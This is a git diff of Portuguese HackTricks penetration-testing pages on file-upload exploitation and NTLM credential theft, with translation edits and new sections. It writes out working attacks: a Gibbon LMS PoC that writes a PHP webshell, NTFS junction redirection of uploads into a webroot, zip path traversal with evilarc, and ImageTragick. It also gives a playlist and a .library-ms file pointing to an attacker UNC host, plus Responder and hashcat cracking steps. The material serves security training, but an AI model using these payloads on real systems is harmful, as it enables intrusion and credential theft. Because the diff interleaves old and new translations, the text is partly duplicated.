- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (o servidor ignora type/name e decodifica em base64 a parte final)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
- Parâmetros requeridos:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (o servidor ignora type/name, decodifica em base64 a parte final)
|
||||
- `path`: nome de arquivo de destino relativo ao diretório de instalação do Gibbon (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: qualquer valor não vazio é aceito (e.g., `0000000001`)
|
||||
|
||||
PoC mínimo para escrever e ler de volta um arquivo:
|
||||
PoC mínimo para escrever e ler um arquivo:
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
@ -184,7 +184,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
Enviar um webshell mínimo e executar comandos:
|
||||
Faça upload de um webshell mínimo e execute comandos:
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
@ -195,15 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Notas:
|
||||
- O handler executa `base64_decode($_POST["img"])` após dividir por `;` e `,`, então grava os bytes em `$absolutePath . '/' . $_POST['path']` sem validar extensão/tipo.
|
||||
- O código resultante é executado como o usuário do serviço web (por exemplo, XAMPP Apache on Windows).
|
||||
- O handler executa `base64_decode($_POST["img"])` após dividir por `;` e `,`, então escreve bytes em `$absolutePath . '/' . $_POST['path']` sem validar extensão/tipo.
|
||||
- O código resultante roda como o usuário do serviço web (por exemplo, XAMPP Apache no Windows).
|
||||
|
||||
Referências para este bug incluem o advisory do usd HeroLab e a entrada NVD. Veja a seção Referências abaixo.
|
||||
Referências para este bug incluem o usd HeroLab advisory e a entrada do NVD. Veja a seção Referências abaixo.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Em algumas ocasiões você pode descobrir que um servidor está usando **`wget`** para **download files** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando que a extensão dos arquivos baixados está em uma whitelist para assegurar que apenas arquivos permitidos serão baixados. Contudo, **this check can be bypassed.**\
|
||||
O **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
|
||||
Em algumas ocasiões você pode descobrir que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando que a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que apenas arquivos permitidos serão baixados. No entanto, **essa verificação pode ser contornada.**\
|
||||
O **máximo** comprimento de um **nome do arquivo** em **linux** é **255**, no entanto, **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"*232+".php"+".gif"**, esse nome de arquivo irá **contornar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**) mas `wget` irá **renomear** o arquivo para **"A"*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -226,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Observe que **outra opção** que você pode estar pensando para contornar essa checagem é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, de modo que a URL inicial passará pela verificação e então o wget baixará o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.
|
||||
Observe que **outra opção** que você pode estar considerando para contornar essa verificação é fazer o **HTTP server redirecionar para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então o wget baixe o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**.
|
||||
|
||||
### Escapando do diretório de upload via NTFS junctions (Windows)
|
||||
|
||||
(Para este ataque você precisará de acesso local à máquina Windows) Quando os uploads são armazenados em subpastas por usuário no Windows (por exemplo, C:\Windows\Tasks\Uploads\<id>\) e você controla a criação/remoção dessa subpasta, você pode substituí-la por uma directory junction apontando para um local sensível (por exemplo, o webroot). Uploads subsequentes serão gravados no caminho alvo, permitindo execução de código se o alvo interpretar server‑side code.
|
||||
|
||||
Exemplo de fluxo para redirecionar uploads para o XAMPP webroot:
|
||||
```cmd
|
||||
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
|
||||
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
|
||||
:: 2) Remove the created folder and create a junction to webroot
|
||||
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
|
||||
|
||||
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
|
||||
:: Minimal PHP webshell for testing
|
||||
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
|
||||
|
||||
:: 4) Trigger
|
||||
curl "http://TARGET/shell.php?cmd=whoami"
|
||||
```
|
||||
Notas
|
||||
- mklink /J cria uma junction de diretório NTFS (reparse point). A conta do servidor web deve seguir a junction e ter permissão de escrita no destino.
|
||||
- Isso redireciona gravações de arquivos arbitrárias; se o destino executar scripts (PHP/ASP), isso vira RCE.
|
||||
- Defesas: não permita que upload roots graváveis sejam controláveis pelo atacante em C:\Windows\Tasks ou similar; bloqueie a criação de junctions; valide extensões server‑side; armazene uploads em um volume separado ou com ACLs deny‑execute.
|
||||
|
||||
## Ferramentas
|
||||
|
||||
- [Upload Bypass] é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters no teste de mecanismos de file upload. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters em testes de file upload. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
|
||||
|
||||
### Corrompendo índices de upload com peculiaridades do snprintf (histórico)
|
||||
|
||||
Alguns legacy upload handlers que usam `snprintf()` ou similares para construir arrays multi-file a partir de um single-file upload podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume uma forma estrita (por exemplo, tratando como um multi-file upload e seguindo ramificações inseguras). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurgem em CTFs e em bases de código mais antigas.
|
||||
Alguns handlers de upload legados que usam `snprintf()` ou similar para construir arrays multi-file a partir de um upload single-file podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado servidor, confundindo lógica que assume um formato rígido (ex.: tratando como multi-file upload e seguindo branches inseguros). Embora seja um caso nicho hoje, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases antigas.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
## De File upload para outras vulnerabilidades
|
||||
|
||||
- Defina **filename** para `../../../tmp/lol.png` e tente conseguir um **path traversal**
|
||||
- Defina **filename** para `../../../tmp/lol.png` e tente alcançar um **path traversal**
|
||||
- Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir um **SQL injection**
|
||||
- Defina **filename** para `<svg onload=alert(document.domain)>` para conseguir um **XSS**
|
||||
- Defina **filename** para `; sleep 10;` para testar alguma **command injection** (mais [command injections tricks here](../command-injection.md))
|
||||
- Defina **filename** para `; sleep 10;` para testar algum command injection (mais [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Tente **diferentes svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Tente **different svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Se você pode **indicar ao web server para buscar uma imagem a partir de uma URL** você pode tentar abusar um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informação de cada visitante**.
|
||||
- Se você puder indicar o servidor web para buscar uma imagem de uma URL, você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **saved** em algum site **public**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDFs especialmente craftados para XSS: A [página a seguir apresenta como **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderia preparar um PDF que execute JS arbitrário seguindo as indicações dadas.
|
||||
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
|
||||
- Verifique se existe algum **limite de tamanho** ao fazer upload de arquivos
|
||||
- PDFs especialmente criados para XSS: A [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar um PDF que execute JS arbitrário seguindo as indicações fornecidas.
|
||||
- Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivirus**
|
||||
- Verifique se existe algum **size limit** ao fazer upload de arquivos
|
||||
|
||||
Aqui vai uma lista top 10 de coisas que você pode alcançar fazendo upload (a partir de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -274,37 +299,37 @@ Aqui vai uma lista top 10 de coisas que você pode alcançar fazendo upload (a p
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Bytes mágicos de cabeçalho
|
||||
## Bytes Mágicos do Cabeçalho
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo.
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
|
||||
## Upload de arquivos Zip/Tar descomprimidos automaticamente
|
||||
## Upload de arquivo Zip/Tar descompactado automaticamente
|
||||
|
||||
Se você puder fazer upload de um ZIP que será descomprimido dentro do servidor, você pode fazer 2 coisas:
|
||||
Se você puder fazer upload de um ZIP que será descompactado no servidor, você pode fazer 2 coisas:
|
||||
|
||||
### Symlink
|
||||
|
||||
Faça upload de um pacote contendo links simbólicos para outros arquivos; então, ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados:
|
||||
Faça upload de um arquivo contendo links simbólicos para outros arquivos; então, ao acessar os arquivos descompactados, você acessará os arquivos linkados:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Descompactar em pastas diferentes
|
||||
### Descomprimir em pastas diferentes
|
||||
|
||||
A criação inesperada de arquivos em diretórios durante a descompactação é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia impedir a execução de comandos em nível OS-level por meio de uploads maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros manipulando a funcionalidade de descompactação da aplicação alvo.
|
||||
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar da suposição inicial de que essa configuração poderia impedir a execução de comandos a nível do OS por meio de malicious file uploads, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
|
||||
|
||||
Um exploit automatizado para gerar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado:
|
||||
Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A ferramenta pode ser usada como mostrado:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Além disso, o **symlink trick with evilarc** é uma opção. Se o objetivo for atingir um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que evilarc não encontre erros durante sua operação.
|
||||
Além disso, a **symlink trick with evilarc** é uma opção. Se o objetivo for atingir um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que o evilarc não encontre erros durante sua operação.
|
||||
|
||||
Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:
|
||||
```python
|
||||
@ -325,11 +350,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Abusando de compressão para file spraying**
|
||||
**Abusando da compressão para file spraying**
|
||||
|
||||
Para mais detalhes **veja a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Para mais detalhes **veja o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: Código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Código PHP é escrito para executar comandos recebidos via variável `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -346,7 +371,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um hex editor, trocando "xxA" por "../" para percorrer diretórios.
|
||||
3. **Modification with a Hex Editor or vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hex, trocando "xxA" por "../" para atravessar diretórios.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -356,7 +381,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (do [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (a partir do [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -365,31 +390,31 @@ pop graphic-context
|
||||
```
|
||||
## Incorporando PHP Shell em PNG
|
||||
|
||||
Incorporar um PHP shell no IDAT chunk de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e resamplear imagens, respetivamente. A capacidade do PHP shell incorporado de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
|
||||
Incorporar um PHP shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do PHP shell embutido de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
|
||||
|
||||
A exploração detalhada desta técnica, incluindo sua metodologia e possíveis aplicações, é apresentada no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||
Uma exploração detalhada desta técnica, incluindo sua metodologia e aplicações potenciais, é apresentada no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Arquivos polyglot
|
||||
## Arquivos Polyglot
|
||||
|
||||
Arquivos polyglot funcionam como camaleões que podem existir de forma válida em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
|
||||
Arquivos polyglot funcionam como uma ferramenta única em cybersecurity, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um RAR archive. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis.
|
||||
|
||||
A utilidade principal dos arquivos polyglot reside na sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF, ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (ex.: JS, PHP, ou Phar). No entanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos, pode contornar essas restrições de forma furtiva.
|
||||
A utilidade central dos polyglots reside na sua capacidade de contornar medidas de segurança que inspecionam arquivos com base no tipo. Uma prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF, ou DOC — para mitigar o risco apresentado por formatos potencialmente perigosos (por exemplo, JS, PHP, ou Phar files). Entretanto, um polyglot, ao cumprir os critérios estruturais de múltiplos tipos de arquivo, pode furtivamente burlar essas restrições.
|
||||
|
||||
Apesar da adaptabilidade, polyglots enfrentam limitações. Por exemplo, embora um polyglot possa ao mesmo tempo incorporar um PHAR e um JPEG, o sucesso do upload pode depender da política de extensões do sistema. Se o sistema for rígido quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload.
|
||||
Apesar da sua adaptabilidade, os polyglots enfrentam limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for estrito quanto às extensões permitidas, a simples dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
### Fazer upload de JSONs válidos como se fosse PDF
|
||||
|
||||
Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo quando não permitido, falsificando um PDF (técnicas do **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Como evitar detecções por tipo de arquivo fazendo upload de um arquivo JSON válido mesmo que não seja permitido, fingindo ser um arquivo PDF (técnicas deste **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Contanto que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (veja exemplo no post)
|
||||
- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um PDF (veja exemplo no post)
|
||||
- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que ele não consiga parsear o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele vai identificar como PDF
|
||||
- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que ele não consiga parsear o conteúdo como um json e então, dentro do JSON, colocar a parte inicial de um PDF real e ele vai achar que é um PDF
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -405,5 +430,7 @@ Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON vá
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,66 @@
|
||||
# Locais para roubar credenciais NTLM
|
||||
# Lugares para roubar NTLM creds
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Verifique todas as ótimas ideias de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) desde o download de um arquivo microsoft word online até a fonte de vazamentos ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md e [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
**Confira todas as ótimas ideias de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) desde o download de um arquivo Microsoft Word online até a fonte ntlm leaks: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md e [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
|
||||
### Playlists do Windows Media Player (.ASX/.WAX)
|
||||
|
||||
Se você conseguir que um alvo abra ou visualize uma playlist do Windows Media Player que você controla, você pode leak Net‑NTLMv2 apontando a entrada para um caminho UNC. O WMP tentará buscar a mídia referenciada via SMB e irá autenticar implicitamente.
|
||||
|
||||
Exemplo de payload:
|
||||
```xml
|
||||
<asx version="3.0">
|
||||
<title>Leak</title>
|
||||
<entry>
|
||||
<title></title>
|
||||
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
|
||||
</entry>
|
||||
</asx>
|
||||
```
|
||||
Fluxo de coleta e cracking:
|
||||
```bash
|
||||
# Capture the authentication
|
||||
sudo Responder -I <iface>
|
||||
|
||||
# Crack the captured NetNTLMv2
|
||||
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
|
||||
|
||||
O Windows Explorer lida de forma insegura com arquivos .library-ms quando são abertos diretamente de dentro de um arquivo ZIP. Se a definição da biblioteca apontar para um caminho UNC remoto (por exemplo, \\attacker\share), simplesmente navegar/abrir o .library-ms dentro do ZIP faz com que o Explorer enumere o UNC e envie autenticação NTLM ao atacante. Isso gera um NetNTLMv2 que pode ser cracked offline ou potencialmente relayed.
|
||||
|
||||
Exemplo mínimo de .library-ms apontando para um UNC do atacante
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<version>6</version>
|
||||
<name>Company Documents</name>
|
||||
<isLibraryPinned>false</isLibraryPinned>
|
||||
<iconReference>shell32.dll,-235</iconReference>
|
||||
<templateInfo>
|
||||
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
|
||||
</templateInfo>
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>\\10.10.14.2\share</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
```
|
||||
Passos operacionais
|
||||
- Crie o arquivo .library-ms com o XML acima (defina seu IP/hostname).
|
||||
- Compacte-o (no Windows: Send to → Compressed (zipped) folder) e entregue o ZIP ao alvo.
|
||||
- Execute um listener de captura NTLM e aguarde a vítima abrir o .library-ms de dentro do ZIP.
|
||||
|
||||
|
||||
## Referências
|
||||
- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
